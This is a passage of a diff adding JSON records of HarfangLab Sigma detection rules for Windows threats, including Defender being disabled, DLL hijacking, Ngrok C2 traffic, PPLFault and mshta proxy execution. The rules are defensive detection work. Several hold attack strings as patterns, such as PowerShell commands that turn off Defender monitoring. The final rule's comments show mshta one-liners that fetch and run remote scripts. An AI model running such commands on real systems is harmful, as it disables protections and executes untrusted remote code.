PowershellCommand|contains:\n            - 'Set-MpPreference -DisableRealtimeMonitoring 1'\n            - 'Set-MpPreference -DisableRealtimeMonitoring $true'\n\n    exclusion_template_gpscript:\n        ProcessAncestors|contains: '?:\\Windows\\System32\\gpscript.exe|?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_image:\n        ProcessParentImage:\n            - '?:\\Program Files\\McAfee\\Endpoint Security\\Threat Prevention\\mfetp.exe'\n            - '?:\\Program Files (x86)\\Microsoft Intune Management Extension\\AgentExecutor.exe'\n            - '?:\\Program Files (x86)\\N-able Technologies\\AutomationManagerAgent\\AutomationManager.AgentService.exe'\n\n    exclusion_bitdefender:\n        ProcessParentSigned: 'true'\n        ProcessParentImage|endswith: '\\Installer.exe'\n        ProcessParentSignature: 'Bitdefender SRL'\n\n    exclusion_brainlab:\n        ProcessOriginalFileName: 'PackageManager.exe'\n        ProcessSigned: 'true'\n        ProcessParentSignature: 'Brainlab AG'\n\n    exclusion_ccm:\n        PowershellScriptPath|startswith:\n            - '?:\\WINDOWS\\CCM\\'\n            - '?:\\Windows\\ccmcache\\'\n        ProcessParentCommandLine: '?:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding'\n        ProcessGrandparentCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k DcomLaunch'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k DcomLaunch -p'\n\n    exclusion_update:\n        ProcessImage: '?:\\Windows\\System32\\SIHClient.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\upfc.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d4bcc870-f8ea-422b-a873-97ee79190440",
+  "rule_name": "Windows Defender Disabled via PowerShell",
+  "rule_description": "Detects the usage of PowerShell to disable Windows Defender.\nAttackers might disable Windows Defender to evade detection.\nIt is recommended to investigate the PowerShell command and the parent process for suspicious activities.\n",
+  "rule_creation_date": "2023-08-24",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d4d6d0bc-c4fa-46f7-ab41-5e058ec48856",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.076052Z",
+  "creation_date": "2026-03-23T11:45:34.076054Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.076058Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_fsiso.yml",
+  "content": "title: DLL Hijacking via fsiso.exe\nid: d4d6d0bc-c4fa-46f7-ab41-5e058ec48856\ndescription: |\n    Detects potential Windows DLL Hijacking via fsiso.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'fsiso.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\iumbase.DLL'\n            - '\\iumsdk.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d4d6d0bc-c4fa-46f7-ab41-5e058ec48856",
+  "rule_name": "DLL Hijacking via fsiso.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via fsiso.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d4e4630d-a0c6-49fe-b595-017d9905b55d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.625319Z",
+  "creation_date": "2026-03-23T11:45:34.625321Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.625325Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.rnbo.gov.ua/files/2023_YEAR/CYBERCENTER/november/APT29%20attacks%20Embassies%20using%20CVE-2023-38831%20-%20report%20en.pdf",
+    "https://ngrok.com/blog-post/new-ngrok-domains",
+    "https://attack.mitre.org/techniques/T1102/002/",
+    "https://attack.mitre.org/techniques/T1071/001/"
+  ],
+  "name": "t1102_002_dns_resolution_ngrok.yml",
+  "content": "title: DNS Resolution of Ngrok Service\nid: d4e4630d-a0c6-49fe-b595-017d9905b55d\ndescription: |\n    Detects a DNS resolution request to Ngrok's services by utilizing free static domains provided by Ngrok.\n    Adversaries may use an existing, legitimate external Web service like Ngrok as a means to sending commands to and receiving output from a compromised system over the Web service channel.\n    It is recommended to investigate the process at the origin of the DNS resolution to determine whether the communication with Ngrok's services is legitimate.\nreferences:\n    - https://www.rnbo.gov.ua/files/2023_YEAR/CYBERCENTER/november/APT29%20attacks%20Embassies%20using%20CVE-2023-38831%20-%20report%20en.pdf\n    - https://ngrok.com/blog-post/new-ngrok-domains\n    - https://attack.mitre.org/techniques/T1102/002/\n    - https://attack.mitre.org/techniques/T1071/001/\ndate: 2023/11/20\nmodified: 2025/12/19\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1102.002\n    - attack.t1071.001\n    - classification.Windows.Source.DnsQuery\n    - classification.Windows.Tool.Ngrok\n    - classification.Windows.Behavior.NetworkActivity\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: dns_query\ndetection:\n    selection:\n        QueryName|endswith:\n            - '.ngrok-free.app'\n            - '.ngrok-free.dev'\n            - '.ngrok.app'\n            - '.ngrok.dev'\n            - '.ngrok.io'\n\n    filter_browser:\n        ProcessOriginalFileName:\n            - 'firefox.exe'\n            - 'chrome.exe'\n            - 'brave.exe'\n            - 'msedge.exe'\n            - 'librewolf.exe'\n            - 'opera.exe'\n            - 'vivaldi.exe'\n            - 'iexplore.exe'\n            - 'msedgewebview2.exe'\n            - 'zen.exe'\n\n    exclusion_programfiles:\n        ProcessImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n        ProcessSigned: 'true'\n\n    exclusion_misc_windows:\n        ProcessImage:\n            - '?:\\Windows\\System32\\PING.EXE'\n            - '?:\\Windows\\SysWOW64\\PING.EXE'\n            - '?:\\Windows\\System32\\ipconfig.exe'\n            - '?:\\Windows\\SysWOW64\\ipconfig.exe'\n            - '?:\\Windows\\System32\\wbem\\WmiPrvSE.exe'\n            - '?:\\Windows\\System32\\wbem\\WmiApSrv.exe'\n            - '?:\\Windows\\System32\\smartscreen.exe'\n\n    exclusion_svchost:\n        ProcessImage: '?:\\Windows\\System32\\svchost.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_defender:\n        ProcessOriginalFileName:\n            - 'MsMpEng.exe'\n            - 'MsSense.exe'\n            - 'NisSrv.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows Publisher'\n\n    exclusion_mcafee:\n        ProcessImage|endswith: '\\mfeatp.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'MUSARUBRA US LLC'\n\n    exclusion_postman:\n        ProcessImage|endswith: '\\Postman.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Postman, Inc.'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\n#level: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d4e4630d-a0c6-49fe-b595-017d9905b55d",
+  "rule_name": "DNS Resolution of Ngrok Service",
+  "rule_description": "Detects a DNS resolution request to Ngrok's services by utilizing free static domains provided by Ngrok.\nAdversaries may use an existing, legitimate external Web service like Ngrok as a means to sending commands to and receiving output from a compromised system over the Web service channel.\nIt is recommended to investigate the process at the origin of the DNS resolution to determine whether the communication with Ngrok's services is legitimate.\n",
+  "rule_creation_date": "2023-11-20",
+  "rule_modified_date": "2025-12-19",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001",
+    "attack.t1102.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d4f15ea4-71e4-4670-8baf-2801a6e000e1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.084804Z",
+  "creation_date": "2026-03-23T11:45:34.084806Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.084811Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/nettitude/Aladdin/tree/main",
+    "https://www.tiraniddo.dev/2017/07/dg-on-windows-10-s-executing-arbitrary.html",
+    "https://attack.mitre.org/techniques/T1559/"
+  ],
+  "name": "t1559_addinprocess_exploit.yml",
+  "content": "title: AddInProcess.exe Code Execution Detected\nid: d4f15ea4-71e4-4670-8baf-2801a6e000e1\ndescription: |\n    Detects the execution of the AddInProcess.exe binary from the .NET Framework, with the '32a91b0f-30cd-4c75-be79-ccbd6345de99' GUID as one of its arguments.\n    This can be used by attackers to execute arbitrary code under legitimate processes to hide their traces.\n    It is recommended to investigate the processes spawned by the PID contained in the command-line or AddInProcess.exe.\nreferences:\n    - https://github.com/nettitude/Aladdin/tree/main\n    - https://www.tiraniddo.dev/2017/07/dg-on-windows-10-s-executing-arbitrary.html\n    - https://attack.mitre.org/techniques/T1559/\ndate: 2023/09/05\nmodified: 2025/01/28\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1559\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ProxyExecution\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        OriginalFileName:\n          - 'AddInProcess.exe'\n          - 'AddInProcess32.exe'\n        CommandLine|contains: '/guid:32a91b0f-30cd-4c75-be79-ccbd6345de99'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d4f15ea4-71e4-4670-8baf-2801a6e000e1",
+  "rule_name": "AddInProcess.exe Code Execution Detected",
+  "rule_description": "Detects the execution of the AddInProcess.exe binary from the .NET Framework, with the '32a91b0f-30cd-4c75-be79-ccbd6345de99' GUID as one of its arguments.\nThis can be used by attackers to execute arbitrary code under legitimate processes to hide their traces.\nIt is recommended to investigate the processes spawned by the PID contained in the command-line or AddInProcess.exe.\n",
+  "rule_creation_date": "2023-09-05",
+  "rule_modified_date": "2025-01-28",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1559"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d50e7dfa-7326-48ae-87cc-cea110b10906",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.069569Z",
+  "creation_date": "2026-03-23T11:45:34.069571Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.069576Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/KyleHanslovan/status/912659279806640128",
+    "https://attack.mitre.org/techniques/T1202/"
+  ],
+  "name": "t1202_indirect_command_execution_pcalua.yml",
+  "content": "title: Indirect Command Executed via pcalua.exe\nid: d50e7dfa-7326-48ae-87cc-cea110b10906\ndescription: |\n    Detects a suspicious execution of pcalua.exe, the legitimate windows Program Compatibility Assistant.\n    Attackers may abuse it to bypass security restrictions.\n    It is recommended to check for suspicious activities by the newly created process.\nreferences:\n    - https://twitter.com/KyleHanslovan/status/912659279806640128\n    - https://attack.mitre.org/techniques/T1202/\ndate: 2022/01/21\nmodified: 2025/04/03\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1202\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Pcalua\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ProxyExecution\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        Image|startswith: '?:\\'\n        ParentImage|endswith: '\\pcalua.exe'\n        ParentCommandLine|contains: ' -a '\n\n    exclusion_programfiles:\n        Image|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_wondershare:\n        ParentCommandLine|startswith: '?:\\WINDOWS\\system32\\pcalua.exe -a ?:\\Users\\\\*\\AppData\\Local\\Wondershare\\'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d50e7dfa-7326-48ae-87cc-cea110b10906",
+  "rule_name": "Indirect Command Executed via pcalua.exe",
+  "rule_description": "Detects a suspicious execution of pcalua.exe, the legitimate windows Program Compatibility Assistant.\nAttackers may abuse it to bypass security restrictions.\nIt is recommended to check for suspicious activities by the newly created process.\n",
+  "rule_creation_date": "2022-01-21",
+  "rule_modified_date": "2025-04-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1202"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d512b029-d424-41f5-8d42-4e5ddeb15085",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.098741Z",
+  "creation_date": "2026-03-23T11:45:34.098743Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.098747Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_ksetup.yml",
+  "content": "title: DLL Hijacking via ksetup.exe\nid: d512b029-d424-41f5-8d42-4e5ddeb15085\ndescription: |\n    Detects potential Windows DLL Hijacking via ksetup.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'ksetup.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\CRYPTBASE.dll'\n            - '\\dpx.dll'\n            - '\\logoncli.dll'\n            - '\\netutils.dll'\n            - '\\srvcli.dll'\n            - '\\SspiCli.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d512b029-d424-41f5-8d42-4e5ddeb15085",
+  "rule_name": "DLL Hijacking via ksetup.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via ksetup.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d5940bab-18fd-4719-b8c3-9f71214f4b62",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.074655Z",
+  "creation_date": "2026-03-23T11:45:34.074657Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.074661Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/gabriellandau/PPLFault",
+    "https://www.elastic.co/security-labs/inside-microsofts-plan-to-kill-pplfault",
+    "https://attack.mitre.org/techniques/T1003/001/"
+  ],
+  "name": "t1003_001_dll_loaded_related_to_pplfault.yml",
+  "content": "title: Malicious DLL Loaded Related to PPLFault\nid: d5940bab-18fd-4719-b8c3-9f71214f4b62\ndescription: |\n    Detects the suspicious loading of a DLL related to PPLFault.\n    PPLFault is a tool that exploits vulnerabilities to bypass LSA protection, terminate or blind EDR software, and modifies kernel memory without the use of any vulnerable drivers.\n    It is recommended to investigate the context of this action to determine its legitimacy.\nreferences:\n    - https://github.com/gabriellandau/PPLFault\n    - https://www.elastic.co/security-labs/inside-microsofts-plan-to-kill-pplfault\n    - https://attack.mitre.org/techniques/T1003/001/\ndate: 2024/01/26\nmodified: 2025/02/14\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.001\n    - attack.privilege_escalation\n    - attack.t1068\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.HackTool.PPLFault\n    - classification.Windows.Behavior.Exploitation\n    - classification.Windows.Behavior.ImpairDefenses\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ImageLoaded|endswith: '\\EventAggregationPH.dll'\n\n    condition: selection\nlevel: critical\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d5940bab-18fd-4719-b8c3-9f71214f4b62",
+  "rule_name": "Malicious DLL Loaded Related to PPLFault",
+  "rule_description": "Detects the suspicious loading of a DLL related to PPLFault.\nPPLFault is a tool that exploits vulnerabilities to bypass LSA protection, terminate or blind EDR software, and modifies kernel memory without the use of any vulnerable drivers.\nIt is recommended to investigate the context of this action to determine its legitimacy.\n",
+  "rule_creation_date": "2024-01-26",
+  "rule_modified_date": "2025-02-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001",
+    "attack.t1068"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d5a4403b-552a-4e35-8da6-8a73481e966f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.088246Z",
+  "creation_date": "2026-03-23T11:45:34.088248Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.088252Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Mshta/",
+    "https://attack.mitre.org/techniques/T1218/005/"
+  ],
+  "name": "t1218_005_mshta_jscript.yml",
+  "content": "title: Proxy Execution of JScript via mshta.exe\nid: d5a4403b-552a-4e35-8da6-8a73481e966f\ndescription: |\n    Mshta can be used to proxy the execution of a malicious VBScript/JScript.\n    This script may, in turn, be used to run abritrary code on the infected system.\n    It is recommended to investigate the parent process for suspicious activities as well as to look for subsequent suspicious actions stemming from the mshta process itself.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Mshta/\n    - https://attack.mitre.org/techniques/T1218/005/\ndate: 2021/02/10\nmodified: 2025/04/25\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218.005\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Mshta\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ProxyExecution\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    # mshta.exe vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))\n    # mshta.exe javascript:a=GetObject(\"script:https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/OSBinaries/Payload/Mshta_calc.sct\").Exec();close();\n    